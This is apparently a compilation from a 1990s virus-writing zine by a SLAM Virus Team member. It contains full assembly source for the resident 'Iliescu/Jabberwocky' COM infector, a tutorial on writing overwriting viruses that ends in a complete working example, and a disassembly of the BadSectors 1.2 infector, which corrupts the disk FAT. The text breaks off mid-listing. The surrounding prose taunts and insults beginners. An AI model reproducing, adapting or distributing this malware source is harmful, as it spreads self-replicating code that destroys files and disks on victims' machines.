iliescu.obj /t --------------------------------- cut here ---------------------------------- psplength equ 80h filetime equ 82h ;file time filedate equ 84h ;file date filelength equ 146h ;file length fileattr equ 8Ch ;file attributes buffer equ 86h ;reading buffer (2 bytes) segaloc equ 8Eh filename equ 88h ;file name pointer in ASCIIZ mcbtype equ 0 size1mcb equ 3 ;address towards the dimension of the first MCB memtop equ 12h data_8e equ 156h owner equ 501h mcbsize equ 503h ;adress towards the dimension of the second MCB pspowner equ 546h corupted_file equ 4F7h code segment byte public assume cs:code,ds:code org 100h virus_start: mov bx,11eh mov word ptr [bx-20h],21cdh ;'int 21h' mov word ptr [bx-1Eh],14ebh ;'jmp 116h' xchg bp,ax mov ax,4bfeh ;dos function load and go mov byte ptr [bx],17h jmp short $-16h ;jump at 100h-2 cli ;disable interrupts xor ax,ax ;ax=0 mul ah ;obtain 0 mov [bx],al ;first exec the jmp to cont jz puttext ;and then modify the jmp puttext: mov si,offset message+28h ;message to display mov cx,98h ;text length cld ;clear direction newchr: lodsb ;string [si] to al mov ah,0Eh xor al,65h ;decode message using xor 65h int 10h ;write char al,teletype mode loop newchr delay: loop delay ;short delay before cold reset db 0eah ;JMP 'FAR' code dw 0 ;FFFF:0000 dw 0FFFFh ;do a cold reset cont: mov ax,ds dec ax mov ds,ax ;DS=seg of MCB add ax,50h ;jmp over 500 bytes mov es,ax ;ES=seg of destination inc ax ;jmp over 16 bytes mov ss,ax ;SS=new stack segment sti ;enable interrupts std ;set direction flag fillen: mov di,4E20h ;original file length add di,corupted_file ;corrupted file mov si,di mov cx,si inc cx rep movsb ;copy upper mov ds:owner,ax ;owner mov ds:pspowner,ax ;owner in PSP mov ds:memtop,es ;memtop in PSP sub word ptr ds:mcbsize,50h ;size in parag. xchg bx,ax ;bx=new PSP seg calculated above mov ah,50h ;DOS function=set active PSP seg from BX int 21h mov byte ptr ds:mcbtype,'M' ;another block follows mov word ptr ds:size1mcb,4Fh ;dimension of first block push ss push ss push ss mov si,ds:data_8e pop ds pop es ;DS=SS=ES upper in memory mov dx,psplength mov ah,1Ah ;set DTA to ds:80h int 21h mov di,100h add si,di mov cx,1F4h cld ;clear direction push di ;offset for RETF (100h) mov word ptr cs:[di],1ebbh ;'mov bx,11eh' rebuild code rep movsw ;activate un-infected program push cs pop ds ;DS=CS=seg of vir resident mov word ptr ds:psplength,0FF00h inc flag mov ax,3509h ;get INT 09h interrupt vector int 21h mov word ptr ds:[1D1h],bx ;config original call mov word ptr ds:[1D3h],es mov dx,offset int9handler mov ax,2509h ;set new handler for INT 09h int 21h mov ax,3521h ;get INT 21h interrupt vector int 21h mov word ptr ds:[30Eh],bx ;config original JMP mov word ptr ds:[310h],es mov dx,offset int21handler mov ax,2521h ;set new handler for INT 21h int 21h push ss push ss pop es pop ds xchg bp,ax retf ;return far int9handler proc far pushf ;push flags db 9Ah ;code of 'call far' original INT 09h dw 45h,3EBh ;'0F17:0124' push ax mov ah,1 int 16h ;keyboard I/O if zf=0 al=char jnz char ;jump if not zero leave_int9: pop ax iret ;leave interrupt 9 int9handler endp char: sti ;enable interrupts or al,20h ;flip to lower case mov ah,cs:psplength xchg al,ah ;ah=read character,al=nr of characters cmp al,0 jne full cmp ah,'j' ;test 'j' letter jne leave_int9 found: inc byte ptr cs:psplength ;increase char contor pop ax iret full: cmp al,1 jne again cmp ah,'o' ;test 'o' letter je found dontfit: mov byte ptr cs:psplength,0 pop ax iret again: cmp al,2 jne again2 cmp ah,'s' ;test 's' letter je found jnz dontfit again2: push ds ;save registers push es push si push di push cx xor ax,ax mov es,ax push cs pop ds mov di,41ah ;address of keyboard buffer head mov si,offset written mov cx,0Bh nop cli ;disable interrupts cld ;clear direction decod: lodsb ;string [si] to al xor al,0A5h ;decrypt with xor 0a5h stosw ;fill keyboard buffer with 'jos' loop decod sti ;enable interrupts pop cx ;restore registers pop di pop si pop es pop ds jmp short dontfit db 'JABBERWOCKY (',2,')' message db ', the first Romanian Political Virussian' db 27h,0,12h,0,17h,0,45h ;'Beware' db 11h,0Dh,0,45h ;'the' db 2Fh,4,7,7,0,17h,12h,0Ah,6,0Eh,49h,45h ;'Jabberwock, ' db 8,1Ch,45h ;'my ' db 16h,0Ah,0Bh,44h ;'son!' db 68h,6Fh ;+ db 45h,31h,0Dh,0,45h ;' The ' db 0Fh,4,12h,16h,45h ;'jaws ' db 11h,0Dh,4,11h,45h ;'that ' db 7,0Ch,11h,0,49h,45h ;'bite, ' db 11h,0Dh,0,45h ;'the ' db 6,9,4,12h,16h,45h ;'claws ' db 11h,0Dh,4,11h,45h ;'that ' db 6,4,11h,6,0Dh,44h ;'catch!' db 68h,6fh ;+ db 68h,6fh ;+ db 68h,6fh ;+ db 24h,0Bh,1,45h ;'And ' db 0Dh,4,16h,11h,45h ;'hast ' db 11h,0Dh,0Ah,10h,45h ;'thou ' db 16h,9,4,0Ch,0Bh,45h ;'slain ' db 11h,0Dh,0,45h ;'the ' db 2Fh,4,7,7,0,17h,12h,0Ah,6,0Eh,5Ah ;'Jabberwock?' db 68h,6fh ;+ db 45h,26h,0Ah,8,0,45h ;' Come ' db 11h,0Ah,45h ;'to ' db 8,1Ch,45h ;'my ' db 4,17h,8,16h,49h,45h ;'arms, ' db 8,1Ch,45h ;'my ' db 7,0,4,8,0Ch,16h,0Dh,45h ;'beamish ' db 7,0Ah,1Ch,44h ;'boy!' db 68h,6fh ;+ int21handler proc far cmp ah,4Bh ;test DOS Fn 4bh (execute) je loadgo loadovl: db 0eah dw 0C11h,1531h loadgo: cmp al,3 ;test load OVL program je loadovl cmp al,0 je exec cmp al,0FFh jne continue mov di,55AAh ;return signature in DI=5aah iret int21handler endp continue: cmp al,0FEh ;function of residency test in memory jne loadovl mov ah,51h ;DOS function=get active PSP seg in bx int 21h push ds push es mov ds,bx mov es,bx ;ES=DS=seg of active PSP cld ;clear direction sti ;enable interrupts mov si,ds:filelength ;si=file length mov di,100h ;from 100h add si,di mov cx,1F4h ;how many bytes to copy rep movsw pop es pop ds xchg bp,ax iret ;leave INT 21h com_check: cmp word ptr [di-4],'FA' ;test '...AF?.COM' je term cmp word ptr [di-4],'SS' ;test '...SS?.COM' jne loc_20 cmp byte ptr [di-2],'T' ;test '...SST.COM' jne loc_20 jz serr not_com: mov byte ptr cs:dosmsg,0Bh ;COM=invalid format cmp word ptr [di-3],'VC' ;test '...CV.???' je serr cmp word ptr [di-3],'DT' ;test '...TD.???' je serr ;for debuggers jnz loc_20 exec: push ds ;save registers push es push si push di push bp push dx push cx push bx mov di,dx mov cx,5Ah ;scan max 90 bytes mov al,0 ;search marker 0 push ds pop es ;ES:DI=address of file_name ASCIIZ cld ;clear direction repne scasb sub di,4 ;poz on file extension mov byte ptr cs:dosmsg,8 ;message: 'insuf. memory' cmp word ptr [di],'OC' ;check if COM jne not_com cmp word ptr [di-4],'SF' ;test '...FS?.COM' jne com_check term: cmp byte ptr [di-2],'D' ;test FSD.COM or AFD.COM jne loc_20 serr: pop bx ;restore registers pop cx pop dx pop bp pop di pop si pop es pop ds pop bx pop ax popf ;pop flags push ax push bx stc ;set carry flag mov ax,cs:dosmsg retf ;return far loc_20: mov si,di sub si,8 mov cx,3 repe cmpsb ;rep zf=1+cx >0 Cmp [si] to es:[di] jz ldovl mov word ptr cs:filename+2,ds mov cs:filename,dx mov ax,3D00h ;DOS function=open file for read int 21h jc ldovl mov bx,ax ;save file handle in BX mov ax,5700h ;DOS function=get file time/date int 21h push cs pop ds mov ds:filetime,cx ;save file time mov ds:filedate,dx ;save file date mov ah,3fh ;DOS function=read from file mov dx,buffer ;save in buffer mov cx,2 ;read 2 bytes int 21h jc closefile ;if error then close file cmp ax,cx ;have we read 2 bytes? jne closefile ;nope! close the fucking file! cmp word ptr ds:buffer,'ZM' ;check if is EXE je closefile ;EXE found! close it quick! cmp word ptr ds:buffer,1EBBh ;code of 'mov bx,11eh' je closefile ;found? then close the file mov ax,4202h ;DOS function=set file pointer xor cx,cx ;move to end of file xor dx,dx int 21h test dx,dx jnz closefile ;error ocured! close file! cmp ax,0BB8h ;is file to small? (0BB8h=3000) jbe closefile ;I'm afraid so... close it! cmp ax,0F618h ;is the file to big? (0F618=63000) jbe infect ;nope! we can infect it...:) closefile: mov ah,3Eh ;DOS function=close file int 21h ldovl: pop bx ;restore registers pop cx pop dx pop bp pop di pop si pop es pop ds mov ax,4B00h jmp loadovl infect: mov ds:filelength,ax ;file length mov ah,3Eh ;DOS funcion=close file int 21h lds dx,dword ptr ds:filename ;DS:DX=file name mov ax,4300h ;DOS function=get file attributes int 21h mov cs:fileattr,cx ;save file attributes test cl,7 ;test for 'sys/hid/read-only' jz neprot ;if not one of those then move on mov ax,4301h ;DOS function=set new file attr xor cx,cx ;cx=0 => normal file int 21h jc closefile ;if error then close file neprot: mov ax,3d02h ;DOS function=open file for r/w int 21h jc closefile ;if error then close file xchg bp,ax ;save file handle in bp mov bx,3Fh ;number of bytes to alloc mov ah,48h ;DOS function=allocate memory int 21h jc closefile ;if error then exit mov bx,bp mov ds,ax ;DS=seg address of allocated mem mov cs:segaloc,ax xor dx,dx mov si,3E8h mov cx,si ;cx=virus length (3e8h=1000) mov ah,3Fh ;DOS function=read from file int 21h jc ioerror ;if error then jmp to ioerror xor cx,cx ;seek to end of file xor dx,dx mov ax,4202h ;DOS function=set file pointer int 21h mov ah,40h ;DOS function=write to file mov cx,si ;si=cx=3e8h=1000=vir_length=...:) int 21h jc ioerror ;if error then jmp to ioerror mov ax,4200h ;DOS function=set file pointer xor cx,cx ;seek to beginning of file xor dx,dx int 21h push cs pop ds mov cx,si ;cx=virus length mov dx,100h ;write from beginning (100h) mov ah,40h ;DOS function=write to file int 21h ioerror: mov es,ds:segaloc ;es=segment mov ah,49h ;DOS function=free memory block int 21h mov ax,5701h ;DOS function=set file time/date mov cx,ds:filetime ;restore saved file time mov dx,ds:filedate ;restore saved file date int 21h mov ah,3Eh ;DOS function=close file int 21h mov cx,ds:fileattr ;cx=old file attributes mov ax,4301h ;DOS function=set file attributes lds dx,dword ptr cs:filename ;DS:DX=name of file int 21h jmp ldovl written db 0BBh ;adress of "Head" db 95h ;adress of "Tail" db 85h,0ECh,0E9h,0ECh,0E0h,0F6h,0E6h,0F0h,85h ;' ILIESCU ' flag dw 0Dh dosmsg dw 8 db 'Release date 12-22-1990' db 19000 dup (0B0h) ;original prog.code db 0B4h, 4Ch,0CDh, 21h db 996 dup (0B0h) code ends end virus_start --------------------------------- cut here ---------------------------------- Virtual Daemon Viral Development Researcher & Virii Colector Member of SLAM Virus Team Network Administrator E-mail: virtual_daemon@hotmail.com Web: http://www.geocities.com/SiliconValley/Heights/3334 " OverWritting Virii: The perfect choice for beginners " by Virtual Daemon of SLAM Virus Team Hi there! The reason why I'm writting this little tutorial is because there are some dumb heads out there who don't know how to use my OVCT... FUCK YOU LAMERS! I don't know why I'm wasting my time with you... There are so many guys that doesn't know what is a virus... God! We must stop this... We give to the public so many goodies (like stealth or polimorfic virii, or macro virii, or ...etc), and they don't know to make an overwritting virus... That's pathetic! ;-( All they know, is that they must take all the source we give it to them, modify it and put their stupid fucking names in our virii! And of course, we're saying that they will just start by stealing and that they'll learn from it, but not even 2% of all don't do that. The 98% are just waiting for us to give them more sources, so they can modify them more and spread them around saying that they made that virus... I'm sick of that! ;-( I can write a whole book about lamers stealing others virii (mine too), but this was supposed to be a overwritting tutorial not a ... :) Anyway, now that OVCT was officially released in SLAM#2, I've gotta do this for those poor guys... maybe this way they'll learn something! In this phile I'll try to explain what are the steps in creating a overwritting virus, and at the end of the file I'll give some source code examples... Let's begin with the beginning! Q: What is an overwritting virus? R: An overwritting virus is a virus that when reproducing will infect the victim by overwritting the first part of the program with itself. ex. PROGRAM + VIRUS = VIRUSAM Q: What do I need to make an overwritting virus? R: In the first place you need to have a copy of a programming language. Overwritting virii can be done in many languages such as: Pascal, C, Asm, Basic etc., BUT the best language from all this is Assembler. Of course there are many Assembler-style languages out there, but the best of all is Turbo Assembler from Borland, Inc. So, if you don't have a copy, GET ONE! Hey, when I said "get one", I ment "buy one" not "STEAL ONE"! ;) In the 2nd place you need to know how to code in one of the languages listed above. Since this tutorial requires assembler skills, I suggest you to learn assembler, because this is the best language for creating virii. If you don't know how to code in assembler I SUGGEST YOU TO GET OUT OF HERE, AND START LEARNING ASSEMBLER! I'm not gonna teach you how to code in assembler... Q: What is the structure of an overwritting virus? R: Well, it's quite simple... First you need to find a file to infect it, right? Ok. After the file was found you need to open it for reading and writting. Has the file been opened? Good, now you can do all that stuff like verifying if already infected or you can just simply write your virus to the file. After virus was written, you need to close the file, and then to return to the operating system (DOS). Well, that's all! Simple, ha'? Ok. Now let's take it again, this time different: 1) Find a file to infect 2) Open the file 3) Write your virus to file 4) Close the file 5) Exit REMEMBER that this is the simplest structure of an overwritting virus, so for more stuff check out the sources generated by OVCT!!! Q: What are the DOS functions which I can use in creating a overwritting virus? R: Like you've seen before, there are 5 steps in creating a simple overwritting virus. I'll take the steps again, this time with the related function... 1) Find a file to infect - to find a file, you must use the 4Eh function (Find 1st Matching File) Input: AH = 4Eh DS = SEGMENT ADRESS OF ASCIIZ FILESPEC TO FIND DX = OFFSET ADRESS ---------- " " ---------- CX = FILE ATTRIBUTES Returns: AX = ERROR CODE IF CF IS SET TO CY DTA FILLED WITH DATA IF NO ERROR (DTA = Disk Transfer Adress) Simple code: mov ah,4eh ;find 1st file mov cx,0 ;cx=0 => normal attributes mov dx,offset file ;this will put in DS:DX the adress of file int 21h file db '*.com',0 ;this means that will search for every file ;with the COM extension Like I said after this code will execute the DTA will be filled with data, but first let's see what is the structure of this DTA: Disk Transfer Adress *------------------* Offset Size Contents of DTA 0h 21 reserved 15h 1 file attributes 16h 2 file creation time 18h 2 file creation date 1ah 4 file size 1eh 13 13 byte ASCIIZ of the file name Note: the size is given in bytes, so in assembler one byte value can be represented with 'db',2 bytes value with 'dw',4 bytes value with 'dd'... ex. file_attributes db ? file_time dw ? file_size dd ? You also must understand that the DTA lies in PSP (Program Segment Prefix) - the first 100h bytes infront of COM files. It's adress is at 80h. For complex virii, you must move the DTA at another location so you wont have to fuck the PSP. Anyway since we're talking about overwritting virii, that's not important. All we have to do after we found a file is to take it's name from DTA, because the following function (open) will need the file name. Like I said the DTA is at 80h. The file name is at 1eh in DTA, so all you have to do is to add 1eh to 80h, and 'voil!' ex. file_name=80h+1eh=9eh 2) OPEN THE FILE - to open a file, you can use the 3Dh function (Open a File Handle) Input: AH = 3Dh DS = SEGMENT ADRESS OF ASCIIZ FILENAME (our file name) DX = OFFSET ADRESS ------------ " " ---------------- AL = OPEN MODE -> 01h FOR READING -> 02h FOR WRITTING -> 03h FOR READING & WRITTING Returns: AX = ERROR CODE IF CF IS SET TO CY ELSE FILE HANDLE Simple code: ;- the following 2 istructions can be replaced with "mov ax,3d02h" mov ah,3dh ;open the file mov al,02h ;for reading & writting mov dx,9eh ;get file name from DTA int 21h Note: the file handle is now in AX, but if we have a look bellow at the other functions, we see that all of them needs the file handle in BX,so we have to change the BX register with AX. ex: xchg bx,ax ;this can be done also with "mov bx,ax" 3) WRITE THE VIRUS TO FILE - in order to write something to a file, you must use the 40h function (Write to File via Handle) Input: AH = 40h BX = FILE HANDLE (this is why we changed the BX with the AX reg) DX = OFFSET OF ADRESS OF THE BEGINNING OF VIRUS CX = NUMBER OF BYTES TO WRITE Returns: AX = ERROR CODE IF CF IS SET TO CY ELSE NUMBER OF BYTES ACTUALLY WRITTEN <- USE FOR ERROR TESTS Simple code: mov ah,40h ;write the virus mov dx,offset virus_start ;buffer to write mov cx,offset virus_end - offset virus_start ;size of virus int 21h 4) CLOSE THE FILE - for closing the file, you must use the 3eh function (Close a File via Handle) Input: AH = 3Eh BX = FILE HANDLE Returns: AX = ERROR CODE IF CF IS SET TO CY Simple code: mov ah,3eh ;close the file int 21h 5) Exit - the simplest part Here you can use 2 methods: a) int 20h b) mov ah,4ch int 21h The both methods do the same thing: they terminate a program and return to the operating sytem. Since the first one is smaller, I suggest using that one. Q: Now that I have all the informations how can I put them all together? R: GOD! If you're still asking me this after everything I showed you then you really suck! You're the biggest lamer! But... since I'm a good person I'll show you this too... ;-) į cut here ; Virus Name: Lamer ; Virus Author: You ; To assemble use: tasm lamer.asm ; tlink /t lamer.obj ; (of course this expect that you'll cut & paste this code into a file ; called lamer.asm ;-) code segment assume cs:code,ds:code org 100h ;for COM files virus_start: mov ah,4eh ;find first file mov cx,cx ;cx=0 => normal files mov dx,offset filespec ;ASCIIZ adress of what to search for int 21h mov ax,3d02h ;I explained this to ya earlier ;) mov dx,9eh ;get file name from DTA int 21h xchg bx,ax ;put file handle in bx mov ah,40h ;write the virus to file mov dx,offset virus_start ;buffer containing data to write mov cx,offset virus_end - offset virus_start ;size of virus int 21h mov ah,3eh ;close the file int 21h int 20h ;return to DOS filespec db '*.com',0 virus_end: code ends end virus_start į cut here Well, that's it! You've just learned how to create your first virus (I hope! ;-) If you don't understand this then GET LOST! There's no place for you in this life...:) About OVCT (Overwritting Virus Construction Toolkit): I made that shit not because I don't know to do anything else... I made it for you! Yes, for you "dear friend", so you can learn how to create some virii. When you think you're smart enough to create & understand non-overwritting virii or TSR virii, then you can use my VCT (Virus Construction Toolkit) wich will generate non-overwritting runtime or TSR virii. Of course the generated virii will be stealth, encrypted, anti-debugger, polymorfic, etc. I think that the 1st version of VCT will be released during this summer (the summer of 1997). For more info about all this check the OVCT.DOC from OVCT Distribution kit, or read the SLAM Magazine... Did you get all that? Anyway, I don't wanna see lamers "playing" with my kit, and releasing virii or spreading them to others computers!!! (I think this is one of the many reasons why I didn't included bombs in OVCT :). If I'm gonna see a virus created with OVCT in the field, and if I'll hear reports from people who got their comptures infected with virii created with OVCT, YOU CAN SAY GOODBYE TO YOUR LIFE, LAMER, BECAUSE I'M COMING TO GET YA'!!! Btw: I'm not only a virus writter, I'm a GOD DAMN GOOD HACKER TOO!!! So, you'll hear from me... ;-) Game over... Uh,uh .. I mean, I think this is the end of this shit... P.S. If any of this informations helped any one in any way (not negative) creating a virus, please let me now by sending me a e-mail. And, if you're really oughnest with me, you'll get a special prize like the source to my latest virus :) :) :)! And believe me, you'll want it! Greetz: - to all the SLAM mebers - Dark Angel: you were the best! - Cicatrix: I love your VDAT!!! :) - and to everybody else who is related to virus scene Virtual Daemon Viral Development Researcher & Virii Colector Member of SLAM Virus Team Network Administrator E-mail: virtual_daemon@hotmail.com Ŀ BadSectors Virus Dissasembled by Virtual Daemon of SLAM Virus Name: Bad Sectors 1.2 Aliases: BadSectors.3428 Virus Author: ? Virus Type: Parasitic Resident COM & EXE Infector Virus Size: 3,428 bytes (COM & EXE) Coments: BadSectors 1.2 is just a new version of the BadSectors 1.1 virus. In my opinion this is one of the coolest virii out there... I don't really know who's the author of this, but I know that the guy had a lot of imagination when he did this. Well, the only thing that's missing in here is a cool encryption algorithm or a mutation engine and some anti-virus or anti-debugger routines. When a program is executed, BadSectors will install itself memory resident at the top of memory but bellow the 640K DOS boundary, moving interrupt's 12 return. The virus hooks interrupts 08h, 16h, 21h, 24h, 25h and 26h! The "BadSectors" name derive from the fact that the virus after a nr. of infections will set the disk clusters as bad clusters by FAT sectors manipulation. By hooking Int 16h BadSectors make jokes with the keyboard. The BadSectors virus restore file time/date/attributes. Infections can be done via 4b00h (exec), 3d00h (open file), 56h (rename/move). The virus intercepts also the 11h/12h and 4eh/4fh and will infect a file everytime this functions are called. The virus have Int24h handler for ignoring errors. BadSectors will not infect SCAN.* files. --------------------------------- cut here ---------------------------------- MCBtype equ 0 MCBsize equ 3 memtop equ 12h totalmem equ 413h timertick equ 46Ch filehandle equ 0d70h newlowlng equ 0d72h newhighlng equ 0d74h transfaddr equ 0d76h transfaddr1 equ 0d77h transfaddr2 equ 0d78h signpointer equ 0d7ah hdrsize equ 0d7eh relossfile equ 0d84h exesp equ 0d86h totsecs equ 0d89h exeIPfile equ 0d8ah relocs equ 0d8ch diskmark1 equ 0d9ch diskmark2 equ 0db0h newDTA equ 0f76h DTAfilename equ 0f94h DTAofs equ 0fa2h filename equ 0fa6h filepointer equ 0ff6h filetype equ 0ff8h filetimestamp equ 0ff9h filedatestamp equ 0ffbh fileattribute equ 0ffdh semaphor equ 0fffh firstcounter equ 1000h drivenumber equ 1002h ressecs equ 1003h fatcnt equ 1005h fatsize equ 1006h ressecscopy equ 1008h fatFLAG equ 100ah DOScounter equ 100ch drivestable equ 100dh dosversion equ 1041h scanASCIIchr equ 1043h savefilename equ 1045h fileofs equ 1095h fileseg equ 1097h savefpointer equ 1099h sectsiz equ 109bh secondcounter equ 109dh blocklength equ 1140h sspointer equ 5 sppointer equ 7 terminaddr equ 9 code segment byte public assume cs:code,ds:code org 100h ;will be compiled as a COM file entryroutine proc far virus_start: mov ax,cs add ax,(offset newseg-virus_start+100h)/16 push ax ;form new entry segment mov ax,offset entryaddress - newseg push ax ;form new entry offset retf ; Original program db 4991 dup(90h) db 5005 dup(0) db 60h,71h,0eh,0abh,2,39h db 25h,0,0 ; Begin of TSR part in Top Memory TSRpart db 'BadSectors 1.2' int21_offset dw 311h ;original Int 21h offset int21_segment dw 0f9fh ;original Int 21h segment int08_offset dw 0fea5h ;original Int 08h offset int08_segment dw 0f000h ;original Int 08h segment int16_offset dw 0e82eh ;original Int 16h offset int16_segment dw 0f000h ;original Int 16h segment int1B_offset dw 750h ;original Int 1Bh offset int1B_segment dw 70h ;original Int 1Bh segment int24_offset dw 556h ;original Int 24h offset int24_segment dw 0ea7h ;original Int 24h segment int25_offset dw 15dch ;original Int 25h offset int25_segment dw 23ah ;original Int 25h segment int26_offset dw 161fh ;original Int 26h offset int26_segment dw 23ah ;original Int 26h segment ; INT 21h Handler int21handler: cmp ah,34h ;DOS function = DOS Reentrancy Status address jnz not34func jmp reentrstatus not34func: inc byte ptr cs:DOScounter cmp ax,4b00h ;DOS function = Execute or Load a Program - EXEC jne not4bfunc jmp loadandgo not4bfunc: cmp ax,3d00h ;DOS function = Open a File Handle jne not3dfunc jmp loadandgo not3dfunc: cmp ah,4eh ;DOS function = Find 1st Matching File jne not4efunc jmp find1stfile not4efunc: cmp ah,4fh ;DOS function = Find Next Matching File jne not4ffunc jmp findnextfile not4ffunc: cmp ah,11h ;DOS function = Find 1st Matching File via FCB jne not11func jmp find1stFCBfile not11func: cmp ah,12h ;DOS fucntion = Find Next Matching File via FCB jne not12func jmp findnextFCBfile not12func: cmp ah,56h ;DOS function = Rename/move a File jne exit_handler jmp loadandgo exit_handler: dec byte ptr cs:DOScounter jmp dword ptr cs:[offset int21_offset-TSRpart] ;return to orig INT 21h entryroutine endp ; Subroutine = Get Error Handler and keyboard break keybanderror proc near push ds xor ax,ax mov ds,ax mov si,6ch ;Hook INT 1Bh Keyboard break mov di,(offset int1B_offset-TSRpart) cld movsw movsw cli mov word ptr [si-4],(offset entryI1B-TSRpart) mov [si-2],cs sti cmp byte ptr cs:[dosversion],3 jb DOSlowerverion mov si,90h ;Hook INT 24H Critical Error Handler mov di,(offset int24_offset-TSRpart) movsw movsw cli mov word ptr [si-4],(offset int24handler-TSRpart) mov [si-2],cs sti DOSlowerverion: pop ds retn keybanderror endp ; Subroutine = restore keyb. break and error handler restorekeyberr proc near push es xor ax,ax mov es,ax mov si,(offset int1B_offset-TSRpart) mov di,6ch ;Restore INT 1Bh Keyboard break cld cli movsw movsw sti cmp byte ptr cs:[dosversion],3 jb DOSless300 mov si,(offset int24_offset-TSRpart) mov di,90h ;Restore INT 24H Critical Error Handler cli movsw movsw sti DOSless300: pop es retn restorekeyberr endp ; Subroutine = test if letter in [a..z] range and capitalize it toupper proc near cmp al,'a' jb charnotcorrect cmp al,'z' ja charnotcorrect and al,0dfh ;capitalize letter charnotcorrect: retn toupper endp extensions db 'COMEXE' ; Subroutine = test if COM or EXE file extension comexetester proc near cmp ah,0 je loadgofile mov dx,DTAfilename mov cx,0dh ;file name length jmp short openfile loadgofile: mov dx,filename mov cx,50h ;maximum 80 char.complete path openfile: cld mov al,0 mov di,dx repne scasb jnz errornotASCIIZ sub di,2 ;pointer on the end of string mov al,'.' mov cx,4 ;search '.' of file extension std repne scasb ;pointer on the extension marker jnz errornotASCIIZ add di,2 ;pointer to the first extension char mov si,(offset Extensions-TSRpart) mov al,0 cld otherextension: push si push di mov cx,3 repe cmpsb pop di pop si jz extensionfound add si,3 inc al cmp al,2 ;pass to the EXE extension search jb otherextension errornotASCIIZ: stc jmp short exitproc nop extensionfound: clc exitproc: retn comexetester endp ; Subroutine = scan for the begin of file name searchfilename proc near mov di,filename cld xor al,al mov cx,50h repne scasb ;search end of string ASCIIZ mov si,di dec si ;si pointer at the end of string std mov bx,3a5ch nextchr: lodsb cmp al,bl ;'\' for first \ from the end je foundit cmp al,bh ;':' for drive je foundit cmp si,filename jae nextchr dec si foundit: mov di,si inc di inc di ;position on the first file character retn searchfilename endp wildcard db '*.*',0 ; Subroutine = replace file name with *.* anyfile proc near mov di,ds:[filepointer] mov si,(offset wildcard-TSRpart) cld mov cx,4 rep movsb retn anyfile endp ; Subroutine = Find the current drive getdrive proc near mov si,filename lodsw cmp ah,':' ;test if drive letter present jne drivenotfound sub al,41h ;find the drive number jmp short savedrive drivenotfound: mov ah,19h ;get DOS default disk pushf call dword ptr ds:[offset int21_offset-TSRpart] savedrive: mov ds:[drivenumber],al retn getdrive endp ; Subroutine = Get valid Drive getvaliddrive proc near push si cmp byte ptr [si],-1 je nextstep mov al,[si] jmp short not7 nextstep: mov al,[si+7] not7: dec al cmp al,-1 jne validdrive mov ah,19h ;get DOS default disk pushf call dword ptr cs:[offset int21_offset-TSRpart] validdrive: mov cs:[drivenumber],al ;save drive number pop si retn getvaliddrive endp ; Subroutine = test if DOS or mapped network drive analysedrive proc near push ax push es cmp al,1ah ;test if invalid drive number (> 26) jae signdrverror push ax mov ax,0ef01h ;get Drive Flag Table es:si pushf call dword ptr ds:[offset int21_offset-TSRpart] cmp ax,0 je netdrive mov ah,52h ;get DOS info es:bx pushf call dword ptr ds:[offset int21_offset-TSRpart] pop ax cmp al,es:[bx+20h] ;test current drive with DOS info jae signdrverror ;if drive not DOS available jmp short driveok netdrive: pop bx mov bh,0 cmp byte ptr es:[bx+si],80h ;if mapped to local drive jne signdrverror driveok: clc jmp short leaveroutine signdrverror: stc leaveroutine: pop es pop ax retn analysedrive endp ; Subroutine = Capitalize file name and store it getfilename proc near push cs pop es mov di,FileName mov si,dx mov cx,50h ;maximum 80 characters cld nextchar: lodsb call toupper stosb loop nextchar retn getfilename endp ; Subroutine = Build the original file name buildname proc near lodsb cmp al,-1 jne remake add si,7 remake: cld mov cx,8 push si remakename: lodsb call toupper cmp al,' ' je remakeextens stosb loop remakename remakeextens: mov al,'.' stosb mov cx,3 pop si add si,8 parseextens: lodsb call toupper cmp al,' ' je endzero stosb loop parseextens endzero: mov al,0 stosb retn buildname endp ; Subroutine = recover the original file name recoverfname proc near test byte ptr ds:semaphor,8 jnz mustbuild push ds mov di,ds:[filepointer] lds si,ds:[DTAofs] add si,1eh ;position to file name mov cx,0dh cld rep movsb ;restore the original file name pop ds jmp short leave99 mustbuild: push ds mov di,ds:[filepointer] lds si,ds:[DTAofs] call buildname pop ds leave99: retn recoverfname endp ; Subroutine = adjust at 16bytes chunk of memory adjustatpara proc near add ax,0Fh adc dx,0 and ax,0fff0h retn adjustatpara endp ; Subroutine = save the file name in a temporary buffer putfile proc near mov si,filename mov di,savefilename mov cx,50h ;maximum 80bytes for a complete path cld rep movsb mov ax,ds:[filepointer] mov ds:[savefpointer],ax retn putfile endp ; Subroutine = restore the file name from that temporary buffer getfile proc near mov si,savefilename mov di,filename mov cx,50h ;maximum 80bytes for a complete path cld rep movsb mov ax,ds:[SaveFPointer] mov ds:[FilePointer],ax retn getfile endp ; Subroutine = transform character ASCII to number chartonumber proc near cmp al,'0' jb notnumber cmp al,'9' ja notnumber ;value in [0..9] range sub al,'0' ;transform to number value clc jmp short leaveproc16 notnumber: stc ;signal error leaveproc16: retn chartonumber endp ; Subroutine = get version/subversion of virus in ah/al verssubvers proc near mov cx,0bh ;length of 'Badsectors 2.0' mov di,0 repe cmpsb stc jnz leaveproc ;test if file already infected lodsb ;load 1 from version call chartonumber jc leaveproc xchg ah,al ;version in ah lodsb cmp al,'.' stc jnz leaveproc lodsb call chartonumber ;subversion in al leaveproc: retn verssubvers endp ; Subroutine = read the last 18 bytes of the file readlast18b proc near mov dx,filename mov ax,3d00h ;open file in reading mode pushf call dword ptr ds:[offset int21_offset-TSRpart] jc exitproc18 mov bx,ax ;save handle mov ds:filehandle,ax mov ax,4202h ;seek to end of file mov cx,0ffffh mov dx,0ffeeh ;-12 pushf call dword ptr ds:[offset int21_offset-TSRpart] mov bx,ds:filehandle mov ah,3fh ;read from file mov dx,transfaddr mov cx,12h ;read the last 18 bytes pushf call dword ptr ds:[offset int21_offset-TSRpart] jc exitproc18 cmp ax,12h ;test if 18 bytes read stc jnz exitproc18 mov ah,3eh ;close file handle mov bx,ds:filehandle pushf call dword ptr ds:[offset int21_offset-TSRpart] exitproc18: retn readlast18b endp ; Subroutine = Test if file infected and get version/subversion testinfect proc near call readlast18b jc waserror mov si,signpointer call verssubvers jmp short returnproc waserror: clc returnproc: retn testinfect endp ; Subroutine = get original length putoriglength proc near call readlast18b jc leave111 mov si,signpointer call verssubvers jc leave111 cmp ax,100h je leave111 mov si,transfaddr push es les di,ds:[DTAofs] test byte ptr ds:semaphor,8 jnz notinDTA add di,1ah ;position to file name in DTA jmp short getlength notinDTA: cmp byte ptr es:[di],-1 jne posfile add di,7 posfile: add di,1dh getlength: cld movsw movsw pop es leave111: retn putoriglength endp ; Subroutine = Unprot file, get time/date and open in R/W mode preparefile proc 